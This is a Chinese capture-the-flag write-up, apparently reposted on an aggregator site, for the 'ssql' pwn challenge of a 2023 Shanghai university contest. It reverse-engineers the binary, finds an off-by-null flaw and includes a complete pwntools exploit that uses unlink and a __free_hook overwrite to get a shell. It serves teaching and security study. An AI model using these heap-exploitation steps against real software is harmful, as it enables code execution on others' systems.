2023上海市大学生网络安全大赛—ssql题解

news2024/11/25 0:55:49

Part1前言

上海市大学生网络安全大赛的一道 pwn 题目,题目用了双向链表(猜到是 Unlink 漏洞)。

还算比较简单,主要是分析代码比较复杂。分析完后漏洞限制条件少,题目给了 libc2.31,利用比较灵活。

这题白天解比较少,临近比赛结束的时候很多队就做出来了,估计师傅们都花时间在逆向分析上了。

题目应该还是主要考察逆向分析和 Unlink 的理解,不能直接套模板。这里详细写一下分析步骤。

题目使用 off-by-null 漏洞和 unlink 漏洞,我这里通过 unlink 攻击 tcache_struct 获得 unsorted bin 的 chunk 来泄露 libc 地址。当然,还有很多其它泄露 libc 的方法。最后我直接打了__free_hook -> system,除了这种做法以外,也可以通过打 IO_FILE、rtld_global 或 tcache 等其它方法来 get shell。

文章结构分为题目分析、漏洞利用、Exp 三部分。

Part2题目分析

1main 函数分析

拖入 IDA 分析,F5 反编译,发现 main 函数调用了 Init 函数。

image-20230521141614718

在 Init 函数中进行初始化操作,创建了 0x30 大小的 chunk,并让一个全局变量指针指向这个 chunk。

image-20230521141644308

然后看一下 while 循环,首先调用一个函数输出了 mysql >提示信息。

image-20230521141757024

然后通过 read 读入 0x100 个字符到变量 s 中,将 s 作为参数传入函数。

2主函数初始化分析

然后跟进这个主函数分析:

image-20230521141908929

这个函数首先调用 sub_1E84 这个函数,跟进查看:

image-20230521142039640

不难理解,循环 256 次,将(&s1)[i]初始化为 0,双击 s1,发现实际上是初始化 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针为 0。

image-20230521142208062

然后调用 sub_13A4 这个函数,将 main 中输入的 s 作为参数传入:

image-20230521142409108

调用 strtok 函数,这个函数是将字符串按照指定字符进行分割。这里空格分割,每调用一次,取下一个字符。

这里就是将 s 按照空格分割,然后将结果分别赋值给前面的 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针。我们将后面三个分别重命名为 arg1 arg2 arg3。

3菜单分析

在主函数处理完字符串后,开始到了菜单部分。开始分析题目的菜单处理部分。

malloc

首先,判断 s1 是否为 CREATE,这里应该是 malloc 功能。

根据代码分析,sub_18F9 应该是 createTable 函数。sub_19B7 函数也是 create 函数,但是有三个参数。

// CREATE xxxxxxxx
if ( !strcmp(s1, "CREATE") )
{
  // CREATE TABLE xxxxxx
  if ( !strcmp(arg1, "TABLE") )
  {
    if ( arg2 )
    {
      sub_18F9(arg2); // CREATE TABLE [tableName]
      result = 1LL;
    }
    else
    {
      puts("CREATE TABLE <TABLE_NAME>");
      result = 0LL;
    }
  }
  // CREATE xxxx xxxx xxxx
  else if ( arg3 && arg1 )
  {
    sub_19B7(arg3, arg1);
    result = 2LL;
  }
  else
  {
    puts("CREATE COLUMN FROM TABLE");
    result = 0LL;
  }
}

createTable

我们进入 createTable 函数继续分析,函数先 malloc 了一个 0x30 大小的 chunk,然后让指针 s 指向它。

猜测这个应该是存储 table 的结构体,然后调用 sub_1415 函数判断 tableName 是否已经存在。

如果不存在 tableName 调用 strlen 判断字符串长度,长度若<=0x10 则调用 memcpy 函数将 name 赋值给 chunk。

然后调用 sub_1479 函数传入 chunk 指针进行进一步的处理。

__int64 __fastcall addTable(const char *tableName)
{
  __int64 result; // rax
  size_t v2; // rax
  void *s; // [rsp+18h] [rbp-8h]

  s = malloc(0x28uLL);
  if ( !s )
    exit(0);
  memset(s, 00x28uLL);
  if ( sub_1415(tableName) )
  {
    puts("Table exits");
    result = 0LL;
  }
  else if ( strlen(tableName) <= 0x10 )
  {
    v2 = strlen(tableName);
    memcpy(s, tableName, v2);
    result = sub_1479(s);
  }
  else
  {
    puts("NAME LENGTH ERROR");
    result = 0LL;
  }
  return result;
}

我们现在需要分析 sub_1415 和 sub_1479 函数,先将它们重命名为 isExistTableName 和 processAddTable。

先来分析 isExistTableName 函数:

char *__fastcall isExistTableName(const char *tableName)
{
  char *s1; // [rsp+18h] [rbp-8h]

  s1 = *(char **)(qword_5868 + 16);
  if ( !s1 )
    return 0LL;
  while ( s1 )
  {
    if ( !strcmp(s1, tableName) )
      return s1;
    s1 = (char *)*((_QWORD *)s1 + 2);
  }
  return 0LL;
}

函数逻辑很简单,s1 指向 qword_5868+0x10 的位置。

显而易见,这是一个链表结构,如果 tableName 比对不成功执行 s1 = (char )((_QWORD *)s1 + 2);语句将 s1 指针指向 s1 + 0x10 的位置。如果存在则返回指向 table 的指针,否则返回 0。

程序最初初始化时,将 qword_5868 指针指向 0x30 大小的 chunk 的 user_data 部分,因此这个指针指向链表的头结点,qword_5868 是头指针,我们将其重命名为 head。

通过 s1 = *(char **)(qword_5868 + 16);可以知道结点的 0x10 位置是 fd 指针,指向下一个 chunk。

然后分析 processAddTable 函数:

__int64 __fastcall processAddTable(__int64 node)
{
  __int64 result; // rax
  __int64 v2; // [rsp+10h] [rbp-8h]

  v2 = *(_QWORD *)(head + 16);
  if ( v2 )
  {
    while ( *(_QWORD *)(v2 + 16) )
      v2 = *(_QWORD *)(v2 + 16);
    *(_QWORD *)(v2 + 16) = node;
    *(_QWORD *)(node + 24) = v2;
    *(_QWORD *)(node + 16) = 0LL;
    result = 0LL;
  }
  else
  {
    *(_QWORD *)(head + 16) = node;
    *(_QWORD *)(node + 24) = head;
    *(_QWORD *)(node + 16) = 0LL;
    result = 1LL;
  }
  return result;
}

先初始化 v2 指针指向第一个结点,判断第一个结点是否为 NULL。

如果当前链表不为空,则通过 while 语句将 v2 指针指向最后一个结点。然后将 v2 结点的 fd 指针指向新增的 node。接着让新增的 node 的 0x18 位置指向 v2 结点,然后设置 node 结点的 fd 指针为 NULL。

到这里,就可以完整分析出 node 的结构体:

struct tableNode {
  char name[16];
  tableNode* fd;
  tableNode* bk;
}

将结构体插入到 IDA 中,在变量位置按快捷键 y 可以修改变量类型。(这里应该 name 大小是 16,图就不改了)

image-20230521145738414

修改后再看反编译的代码,一目了然:

image-20230521145900670

createColumn

然后分析 create 的另一个函数,通过提示信息可以发现这个函数应该是 CREATE COLUMN。

__int64 __fastcall createColumn(__int64 tableName, const char *columnName)
{
  __int64 result; // rax
  size_t v3; // rax
  char *v4; // [rsp+10h] [rbp-10h]
  _QWORD *s; // [rsp+18h] [rbp-8h]

  v4 = isExistTableName((const char *)tableName);
  if ( v4 )
  {
    s = malloc(0x28uLL);
    if ( !s )
      exit(0);
    memset(s, 00x28uLL);
    if ( sub_16A6(v4, columnName) )
    {
      puts("column exits");
      result = 0LL;
    }
    else if ( strlen(columnName) <= 0x10 )
    {
      v3 = strlen(columnName);
      memcpy(s, columnName, v3);
      s[4] = malloc(0x100uLL);
      if ( !s[4] )
        exit(0);
      sub_170B((__int64)v4, (__int64)s);
      result = 0LL;
    }
    else
    {
      puts("COLUMN LENGTH ERROR");
      result = 0LL;
    }
  }
  else
  {
    puts("Table Not EXITS");
    result = 0LL;
  }
  return result;
}

传入的两个参数分别是 tableName 和 columnName,首先调用函数判断 tableName 是否存在。

然后创建一个 0x30 大小的 chunk,指针 s 指向它,猜测这个应该是用来存储 column 的结构体。

函数又调用了 sub_16A6 函数,根据提示信息这应该是判断 column 是否已存在的函数。

如果 column 不存在,调用 strlen 判断 columnName 长度<=0x10,然后调用 memcpy 将 name 赋值给结构体。

接着,malloc 一个 0x110 大小的 chunk,将指针赋值给 s[4],即结构体 0x20 的位置。

最后,调用 sub_170B 函数,传入 table 指针和新申请的 column 结构体指针。

现在,我们分析 sub_16A6 和 sub_170B 函数,分别重命名为:isExistColumnName()和 processAddColumn()。

先来看一下 isExistColumnName 函数:

char *__fastcall isExistColumnName(tableNode *table, const char *columnName)
{
  char *s1; // [rsp+18h] [rbp-8h]

  s1 = *(char **)table[1].name;
  if ( !s1 )
    return 0LL;
  while ( s1 )
  {
    if ( !strcmp(s1, columnName) )
      return s1;
    s1 = (char *)*((_QWORD *)s1 + 2);
  }
  return 0LL;
}

可以发现,table[1].name 这里存在点问题,实际上是 table 结构体+0x20 位置。

根据代码分析,table 结构体+0x20 应该是 column 结构体的指针,column 结构体也是以双向链表的形式存储。

如果存在同名 column,则返回指向 column 的指针,否则返回 0。

我们定义 columnNode 的结构体,然后修改 tableNode 的结构体:

struct columnNode
{

  char name[16];
  columnNode *fd;
  columnNode *bk;
  columnNode *nextColumn;
};

struct tableNode
{

  char name[16];
  tableNode *fd;
  tableNode *bk;
  columnNode *columnContent;
};

修改完结构体和变量类型后,代码一目了然:

__int64 __fastcall processAddColumn(tableNode *table, columnNode *column)
{
  __int64 result; // rax
  columnNode *v3; // [rsp+18h] [rbp-8h]

  v3 = table->ptr_column;
  if ( v3 )
  {
    while ( v3->fd )
      v3 = v3->fd;
    v3->fd = column;
    column->bk = v3;
    result = 1LL;
  }
  else
  {
    table->ptr_column = column;
    column->fd = 0LL;
    column->bk = (columnNode *)table;
    result = 1LL;
  }
  return result;
}

free

add 函数分析完成了,看上去并没有什么漏洞,大体逻辑是将 table 和 column 存储在双向链表中。

主要是三部分:table 结构体、column 结构体、columnContent。

弄懂 add 相关的结构体,后面代码就好分析了。下面分析 free 相关函数:

else if ( !strcmp(s1, "DELETE") )
{
  if ( !strcmp(arg1, "TABLE") )
  {
    if ( arg2 )
    {
      sub_1BAC(arg2);  // DELETE TABLE [tableName]
      result = 3LL;
    }
    else
    {
      puts("DELETE TABLE <TABLE_NAME");
      result = 0LL;
    }
  }
  else
  {
    strcmp(arg2, "FROM");
    if ( arg3 && arg1 )
    {
      sub_1AF8(arg3, arg1); // DELETE xxxx FROM xxxx
      result = 4LL;
    }
    else
    {
      puts("DELETE COLUMN FROM TABLE");
      result = 0LL;
    }
  }
}

有了前面基础很容易知道,这里两个函数,一个删除 Table,另一个删除 Column。

deleteTable

首先看一下 deleteTale 函数:

__int64 __fastcall deleteTable(const char *tableName)
{
  __int64 result; // rax
  char *v2; // [rsp+18h] [rbp-8h]

  v2 = isExistTableName(tableName);
  if ( v2 )
  {
    sub_1515(v2);
    result = 0LL;
  }
  else
  {
    puts("table not exits");
    result = 0xFFFFFFFFLL;
  }
  return result;
}

函数首先判断 table 是否存在,如果存在调用 sub_1515 函数删除 Table。

跟进这个函数分析一下:

__int64 __fastcall processDeleteTable(tableNode *tableNode)
{
  char *v1; // rax
  columnNode *ptr; // [rsp+10h] [rbp-20h]
  tableNode *v4; // [rsp+20h] [rbp-10h]
  tableNode *v5; // [rsp+28h] [rbp-8h]

  v1 = isExistTableName(tableNode->name);
  ptr = tableNode->ptr_column;
  if ( !v1 )
    return 0LL;
  v4 = tableNode->fd;
  v5 = tableNode->bk;
  if ( v5 == (tableNode *)head )
  {
    *(_QWORD *)(head + 16) = v4;
    if ( v4 )
      v4->bk = (tableNode *)head;
    while ( ptr )
    {
      free(ptr->columnContent);
      free(ptr);
      ptr = ptr->fd;
    }
    goto LABEL_8;
  }
  if ( !v4 )
  {
    v5->fd = 0LL;
    while ( ptr )
    {
      free(ptr->columnContent);
      free(ptr);
      ptr = ptr->fd;
    }
LABEL_8:
    free(tableNode);
    return 1LL;
  }
  v5->fd = v4;
  v4->bk = v5;
  while ( ptr )
  {
    free(ptr->columnContent);
    free(ptr);
    ptr = ptr->fd;
  }
  free(tableNode);
  return 0LL;
}

首先,v1 指针和 ptr 指针分别指向 table 和 column。然后给 v4、v5 赋值 table 的 bk 和 fd 指针指。

接着,判断 bk 指针是否指向 head 结点,即判断要删除的 table 是否是第一个结点。

如果是第一个结点,则:

  1. 执行代码清空头结点的 fd 指针。
  2. 如果存在下一个结点,修改下一个结点的 bk 指针指向头结点。
  3. 如果存在 column,则 free columnContent,然后 free column。
  4. 最后,free 掉 tableNode。

可以发现,由于使用函数根据 Name 检查是否存在 table 和 column,这里不存在 Double Free 漏洞。

如果不是第一个结点,在最后一个结点,则:

  1. 清空前一个结点的 fd 指针。
  2. 如果存在 column,则 free columnContent,然后 free column。
  3. 最后,free 掉 tableNode。

如果既不是第一个结点,也不是最后一个结点,则:

  1. node -> bk -> fd = bk
  2. node -> fd -> bk = fd
  3. 如果存在 column,则 free columnContent,然后 free column。
  4. 最后,free 掉 tableNode。

deleteColumn

下面分析 deleteColumn 函数:

__int64 __fastcall deleteColumn(const char *tableName, const char *columnName)
{
  __int64 result; // rax
  tableNode *v3; // [rsp+10h] [rbp-10h]
  columnNode *v4; // [rsp+18h] [rbp-8h]

  if ( isExistTableName(tableName) )
  {
    v3 = (tableNode *)isExistTableName(tableName);
    if ( isExistColumnName(v3, columnName) )
    {
      v4 = isExistColumnName(v3, columnName);
      sub_1795(v3, v4);
    }
    else
    {
      puts("Column not exits");
    }
    result = 0LL;
  }
  else
  {
    puts("Table not exits");
    result = 0LL;
  }
  return result;
}

函数调用 isExistTableName 判断 table 是否存在,如果存在则使 v3 指针指向 table。

然后调用 isExistColumnName 判断 column 是否存在,如果存在则使 v4 指向 column。

然后调用 sub_1795 函数,传入 table 执行和 column 指针进行删除操作。

然后,我们看一下这个删除函数:

__int64 __fastcall processDeleteColumn(tableNode *tableNode, columnNode *columnNode)
{
  __int64 result; // rax
  columnNode *v3; // [rsp+20h] [rbp-10h]
  columnNode *v4; // [rsp+28h] [rbp-8h]

  if ( !isExistColumnName(tableNode, columnNode->name) )
    return 0LL;
  v4 = columnNode->bk;
  v3 = columnNode->fd;
  if ( v4 == (columnNode *)tableNode )
  {
    tableNode->ptr_column = columnNode->fd;
    if ( v3 )
      v3->bk = (columnNode *)tableNode;
    free(columnNode->columnContent);
    columnNode->columnContent = 0LL;
    free(columnNode);
    result = 1LL;
  }
  else if ( v3 )
  {
    v4->fd = v3;
    v3->bk = v4;
    free(columnNode->columnContent);
    columnNode->columnContent = 0LL;
    free(columnNode);
    result = 0LL;
  }
  else
  {
    v4->fd = 0LL;
    free(columnNode->columnContent);
    columnNode->columnContent = 0LL;
    free(columnNode);
    result = 1LL;
  }
  return result;
}

首先使 v4 指向 column 的前一个结点,使 v3 指向 column 的后一个结点。

如果 column 是 table 的第一个结点:

  1. table 结点的 column 指针指向下一个结点。
  2. 如果存在下一个结点,则下一个结点的 bk 指针指向 table。
  3. free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。

如果 column 不是第一个结点,也不是最后一个结点:

  1. column -> bk -> fd = bk
  2. column -> fd -> bk = fd
  3. free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。

如果 column 是最后一个结点:

  1. 将前一个结点的 fd 指针置 NULL。
  2. free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。

show

free 函数也分析完毕了,没有什么明显的漏洞,虽然双链表可能导致 Unlink,但是需要配合其它漏洞修改 chunk 的 fd、bk 指针。

接下来,分析 show 功能:

else if ( !strcmp(s1, "SHOW") )
{
  if ( !strcmp(arg1, "TABLE") )
  {
    if ( arg2 )
    {
      sub_1BF9(arg2); // SHOW TABLE [tableName]
      result = 5LL;
    }
    else
    {
      puts("SHOW TABLE <table name>");
      result = 0LL;
    }
  }
  else
  {
    result = 0LL;
  }
}

showTable

show 的功能很简单,代码一目了然,打印当前 table 的所有 column 内容。

__int64 __fastcall showTable(const char *tableName)
{
  __int64 result; // rax
  __int64 v2; // [rsp+10h] [rbp-10h]
  char *v3; // [rsp+18h] [rbp-8h]

  v3 = isExistTableName(tableName);
  if ( v3 )
  {
    v2 = *((_QWORD *)v3 + 4);
    if ( v2 )
    {
      while ( v2 )
      {
        printf("Column Name: %s\n Column Content: %s\n", (const char *)v2, *(const char **)(v2 + 32));
        v2 = *(_QWORD *)(v2 + 16);
      }
      result = 0LL;
    }
    else
    {
      puts("NO column");
      result = 0xFFFFFFFFLL;
    }
  }
  else
  {
    puts("Table not exits");
    result = 0xFFFFFFFFLL;
  }
  return result;
}

edit

前面都没有很明显的漏洞,看来只能把希望寄托于 Edit 功能了。

edit 功能只允许我们去 edit column:

else if ( !strcmp(s1, "EDIT") )
{
  if ( !strcmp(arg2, "FROM") )
  {
    if ( arg3 && arg1 )
    {
      editTable((const char *)arg3, arg1);  // EDIT [columnName] FROM [tableName]
      result = 6LL;
    }
    else
    {
      puts("EDIT COLUMN FROM TABLE");
      result = 0LL;
    }
  }
  else
  {
    result = 0LL;
  }
}

editTable

editTable 函数首先初始化 v3 和 dest 指针分别指向 table 和 column。

然后调用 read 输入 name 到 buf,接着调用了 strlen 判断 name 长度是否<=0x10。

然后调用 strcpy 函数将 name 赋值给 column 结构体,这里显然存在问题。

之前的输入都是通过 memcpy 设置了输入长度,这里却使用了 strcpy。这是一个常见的漏洞,strlen 和 strcpy 行为不一致很容易导致漏洞,strlen()函数返回的长度不包括字符串末尾的\x00,而 strcpy 会将字符串和末尾的\x00 一起复制到其它变量中,这会导致\x00 单字节溢出漏洞,也就是 off-by-null 漏洞。

最后调用 read 函数输入内容到 columnContent 中。

int __fastcall editTable(const char *tableName, const char *columnName)
{
  int result; // eax
  tableNode *v3; // [rsp+10h] [rbp-40h]
  columnNode *dest; // [rsp+18h] [rbp-38h]
  __int64 buf[6]; // [rsp+20h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  v3 = (tableNode *)isExistTableName(tableName);
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  buf[3] = 0LL;
  if ( v3 )
  {
    dest = isExistColumnName(v3, columnName);
    if ( dest )
    {
      puts("Column name:");
      read(0, buf, 0x20uLL);
      if ( strlen((const char *)buf) <= 0x10 )
      {
        strcpy(dest->name, (const char *)buf);
        puts("Column Content: ");
        read(0, dest->columnContent, 0x100uLL);
        result = puts("Done");
      }
      else
      {
        puts("Invalid colunm name");
        result = 0;
      }
    }
    else
    {
      result = 0;
    }
  }
  else
  {
    puts("Table not exits");
    result = 0;
  }
  return result;
}

4题目分析总结

题目分析完成了,程序模拟了数据库操作。我们可以对 table 和 column 进行增删查,对 column 进行修改。

程序采用双链表的形式保存 table 和 column 结点,每个 table 存在一个指针指向 column 链表的第一个结点。

每个 column 存在一个指针指向 columnContent,这是一个 0x110 大小的 chunk,可以用来存储 column 的内容。

对于 edit 操作存在\x00 溢出,即 off-by-null。可以结合前面的双向链表删除操作利用,即 unlink。

Part3漏洞利用

5漏洞分析

覆盖 fd 指针

根据前面的分析,在 edit column 的 name 时候可以溢出一个字节的\x00。

前面分析知和 column 结构体中 name 相邻的是 fd 指针,指向下一个 column:

struct columnNode
{

  char name[16];
  columnNode *fd;
  columnNode *bk;
  columnNode *nextColumn;
};

如果这个指针是 xxxxxxx80,通过 off-by-null 可以将其修改为 xxxxxxx00。

伪造 columnNode

在 xxxxxxx00 的位置我们可以伪造出一个 column 结点的结构体,此时 fd、bk 指针可控。

在进行删除 column 时程序没有严格对指针进行校验,即没有 unlink 时的检查。

unlink

如果我们调用 free 函数删除 column,它会在程序认为的 column->bk->fd 赋值 bk,在 column->fd->bk 赋值 fd。

然后我们配合 off-by-null,伪造 fake_chunk 的 fd、bk 指针,接着调用 free 函数 free(fake_chunk)。

这就实现了任意写,但是还存在一个问题,fd、bk 必须指向可写内存,否则在没有写入权限的段写数据会报错。

泄露 heap

为了后续利用,显然我们必须知道 heap 的基地址,如何想办法泄露 heap 地址呢?

其实很容易,因为 name 字段可以读入 0x10 大小,如果末尾没有\x00 截断,put 时会将相邻的 fd 指针打印出来。

只要我们布局好 chunk,打印出来的 fd 指针相对于 heap 基地址的偏移量是固定的,可以计算出 heap 偏移量。

def send(text):
    sla(b'mysql > ', text)

# create table
send(b'CREATE TABLE TEST')

# create useless1
send(b'CREATE USELESS1USELESS1 FROM TEST')

# create column
send(b'CREATE COLUMN FROM TEST')

# create useless2
send(b'CREATE USELESS2 FROM TEST')
send(b'CREATE USELESS3 FROM TEST')
send(b'CREATE USELESS4 FROM TEST')

# leak heap
send(b'SHOW TABLE TEST')
ru('USELESS1USELESS1')
heap = uu64(rc(6))
info('heap', heap)

通过 edit 功能将 column 的 name 填满,然后调用 show 函数。

vis 命令可以看到,name 已填满,show 时候会一直打印泄露出 fd 指针:

image-20230521163110425

vmmap [addr]可以很方便看到偏移量。

image-20230521162809603

泄露 libc

泄露 libc 应该有很多方法,题目给的是 libc2.31,可以考虑将 chunk 放到 unsorted bin 中。

需要先填满对应大小的 tcache,但是通过题目漏洞去填充 tcache 太麻烦,我这里直接攻击 tcache 结构体。

我们想将 content chunk 作为泄露的目标 chunk,因此需要攻击 tcache.count[0xa0]。

我们在 edit column_name 时,多输入一个\x00 覆盖 fd 指针,如下图所示:

image-20230521163937841

这个 column 的 fd 指针本来应该指向 0x5583dcb86c0。由于\x00 的覆盖,它现在指向 0x5583dcb8600。

于是,我们可以在 0x5583dcb8600 位置伪造一个 fake_chunk:

# edit USELESS2 to leak libc
# off-by-null
send(b'EDIT USELESS2 FROM TEST')
sa(b'name:\n'b'CCCCCCCCDDDDDDDD\x00')

# fake_chunk
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 =  heap + 0x330
sa(b'Content: \n'b'K'*0x40 + p64(0xa0) + p64(0xa1) + b'name2name2name2\x00' + p64(fd2) + p64(bk2) + p64(fake_str2) + b'K'*0x70 + p64(0xa1))
sl(b'DELETE name2name2name2 FROM TEST')

# leak libc
send(b'SHOW TABLE TEST')
ru(b'Content: ')
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x60 - 0x10 - libc.sym['__malloc_hook']
info('libc_base', libc_base)

这里的 Content 实际填到了 0x5583dcb85b0 位置,我们先填充 0x40 个垃圾字符。

然后到达 0x5583dcb85f0 位置,伪造 prev_size 和 size 大小。然后在 0x5583dcb8500 位置填 fake_column_name。

接着在后面填 fake_fd 和 fake_bk,然后填入 fake_content(随便找个能被 free 不报错的位置)。接着填充满当前 chunk,并且填充下一个 chunk 的 prev_size。这时成功伪造了一个 0xa0 大小的 chunk。

通过伪造 fd、bk 指针,free 时,在 tcache.count[0xa0]位置填充一个大于 7 的数字填满 tcache。

此时,chunk 被加入 unsorted bin,用 show 函数泄露 unsorted bin 中 chunk 的 fd 指针(main_arena + 0x60)。

然后根据偏移量计算出 libc 的基地址即可。

unlink

我们的 target 是 fake_column 的 nextColumn 指针处。如果我们能够修改 nextColumn 指向它所在地址,那么可以通过 edit 功能修改 nextColumn 指针,然后实现任意地址写入。

假设 target = &column->nextColumn,fd、bk 指针可以这样构造:

  • bk = target
  • fd = target - 0x18
# unlink
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send(b'EDIT COLUMN FROM TEST')
sa(b'name:\n'b'AAAAAAAABBBBBBBB\x00')
sa(b'Content: \n'b'P'*0x80 + p64(0) + p64(0x81) + b'namenamename\x00\x00\x00\x00' + p64(fd) + p64(bk) + p64(fake_str))
sl(b'DELETE namenamename FROM TEST')

# edit content_ptr -> __free_hook
send(b'EDIT USELESS4 FROM TEST')
sa(b'name:\n'b'USELESS4')
payload = p64(libc_base + libc.sym['__free_hook'] - 0x8) + p64(0x111)
sa(b'Content: ', payload)

# edit __free_hook - 0x8 = "/bin/sh\x00" + p64(system)
send(b'EDIT USELESS4 FROM TEST')
sa(b'name:\n'b'USELESS4')
payload = b'/bin/sh\x00' + p64(libc_base + libc.sym['system'])
sa(b'Content: ', payload)

sl(b'DELETE USELESS4 FROM TEST')

如上面例子所示,unlink 在泄露 libc 时已经用过,不再赘述。

我们通过 unlink 使得 content_ptr 指向&content_ptr,第一次 edit 修改 content_ptr -> __free_hook - 0x8。

第二次 edit 即可修改__free_hook - 0x8 的内容,在其中填入 binsh 和 system 函数地址。

最后调用 delete 函数删除当前 column 即可调用 system("/bin/sh")。

Part4Exp

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#p = remote('116.236.144.37', 25325)
#libc = ELF('./libc-2.27.so')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num                :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4b'\x00'))
uu64    = lambda data               :u64(data.ljust(8b'\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :p.interactive()


def send(text):
    sla(b'mysql > ', text)

# create table
send(b'CREATE TABLE TEST')

# create useless1
send(b'CREATE USELESS1USELESS1 FROM TEST')

# create column
send(b'CREATE COLUMN FROM TEST')

# create useless2
send(b'CREATE USELESS2 FROM TEST')
send(b'CREATE USELESS3 FROM TEST')
send(b'CREATE USELESS4 FROM TEST')

# leak heap
send(b'SHOW TABLE TEST')
ru('USELESS1USELESS1')
heap = uu64(rc(6)) - 0x440

# edit USELESS2 to leak libc
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 =  heap + 0x330
send(b'EDIT USELESS2 FROM TEST')
sa(b'name:\n'b'CCCCCCCCDDDDDDDD\x00')
sa(b'Content: \n'b'K'*0x40 + p64(0xa0) + p64(0xa1) + b'name2name2name2\x00' + p64(fd2) + p64(bk2) + p64(fake_str2) + b'K'*0x70 + p64(0xa1))
sl(b'DELETE name2name2name2 FROM TEST')
send(b'SHOW TABLE TEST')
ru(b'Content: ')
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x1ecbe0
info('libc_base', libc_base)

# unlink
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send(b'EDIT COLUMN FROM TEST')
sa(b'name:\n'b'AAAAAAAABBBBBBBB\x00')
sa(b'Content: \n'b'P'*0x80 + p64(0) + p64(0x81) + b'namenamename\x00\x00\x00\x00' + p64(fd) + p64(bk) + p64(fake_str))
sl(b'DELETE namenamename FROM TEST')

send(b'EDIT USELESS4 FROM TEST')
sa(b'name:\n'b'USELESS4')
payload = p64(libc_base + libc.sym['__free_hook'] - 0x8) + p64(0x111)
sa(b'Content: ', payload)

send(b'EDIT USELESS4 FROM TEST')
sa(b'name:\n'b'USELESS4')
payload = b'/bin/sh\x00' + p64(libc_base + libc.sym['system'])
sa(b'Content: ', payload)

send(b'DELETE USELESS4 FROM TEST')

ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/552554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux【网络编程】TCP协议通信模拟实现、日志函数模拟、守护进程化、TCP协议通信流程、三次握手与四次挥手

linux【网络编程】TCP协议通信模拟实现、日志函数模拟、守护进程化、TCP协议通信流程 一、TCP通信简单模拟实现1.1 服务端实现1.1.1 接口认识1.1.1.1 listen&#xff1a;监听socket1.1.1.2 accept&#xff1a;获取连接 1.1.2 tcpServer.hpp1.1.3 tcpServer.cc 1.2 客户端实现1.…

软考知识点---08IP地址与域名地址

一、IP地址 &#xff08;一&#xff09;什么是IP地址&#xff1f; 连入互联网的计算机&#xff0c;每台计算机或者路由器都有一个由授权机构分配的号码&#xff0c;IP地址代表这一台计算机在网络中的地址 在同一个网络中IP地址是唯一的 IP&#xff08;IPV4&#xff09;地…

音频的各项指标

对于下面data和linesize的解释(参考下面3.4中的av_samples_alloc_array_and_samples函数说明)&#xff1a; 1&#xff09;data是通道的意思&#xff0c;例如双通道&#xff0c;data[0]代表左声道&#xff0c;data[1]代表右声道。 2&#xff09;linesize为采样个数的最大大小字…

ChatGPT全栈开发实战:从需求分析到数据可视化,一站式指南助你快速构建全面应用

文章目录 序章&#xff1a;PDF版下载第一章&#xff1a;Java后端开发1.需求分析1.1 项目分析1.2 开发计划1.3 风险评估1.4 需求增强1.5 需求转情景 2.生成代码2.1 解析文件2.2 数据结构2.3 算法策略2.4 异步处理 3.Bug修改3.1 逻辑错误3.2 性能问题3.3 资源泄露3.4 死锁问题3.5…

MySQL之存储过程和存储函数

1. 存储过程概念 能够将完成特定功能的SQL指令进行封装(SQL指令集)&#xff0c;编译之后存储在数据库服务器上&#xff0c;并且为之取一个名字&#xff0c;客户端可以通过名字直接调用这个SQL指令集&#xff0c;获取执行结果。 2. 存储过程优缺点 2.1 优点 &#xff08;1&am…

【SpringCloud】二、服务注册发现Eureka与负载均衡Ribbon

文章目录 一、Eureka1、服务提供者与消费者2、Eureka原理分析3、搭建Eureka4、服务注册5、模拟多服务实例启动6、服务的发现 二、Ribbon1、负载均衡的原理2、源码分析3、负载均衡策略4、饥饿加载 一、Eureka 1、服务提供者与消费者 服务提供者&#xff1a;一次业务中&#xf…

Elastic-Job原理

Elastic-Job作业类型创建任务并执行 &#xff1a;启动流程弹性分布式实现 Elastic-Job elastic-job&#xff08;quartz的扩展&#xff09;使用了quartz的调度机制&#xff0c;内部原理一致&#xff0c;使用注册中心(zookeeper)替换了quartz的jdbc数据存储方式&#xff0c;支持…

ubuntu22.04切换回Xorg使用flameshot截图的问题

在ubuntu20.04时使用flameshot一切正常. 升级到ubuntu22.04之后,发现flameshot不能使用快捷键区域截图了,这个就很不方便. 在网上找了一圈后先是修改文件 /etc/gdm3/custom.conf将里面的 #WaylandEnableflase改成 WaylandEnablefalse即配置为不使用Wayland.然后重启系统,后…

动态通讯录实现(C语言)

目录 前言&#xff1a; 一&#xff1a;单个节点的设计和主逻辑 结点设计 主逻辑 二&#xff1a;接口实现 (1)生成一个新的结点 (2)增加信息 (3)打印信息 (4)查找 (5)删除信息 (6)修改信息 (7)排序 插入排序 快速排序 (8)已有数据读取 (9)更新数据录入 三&…

C语言复习笔记3

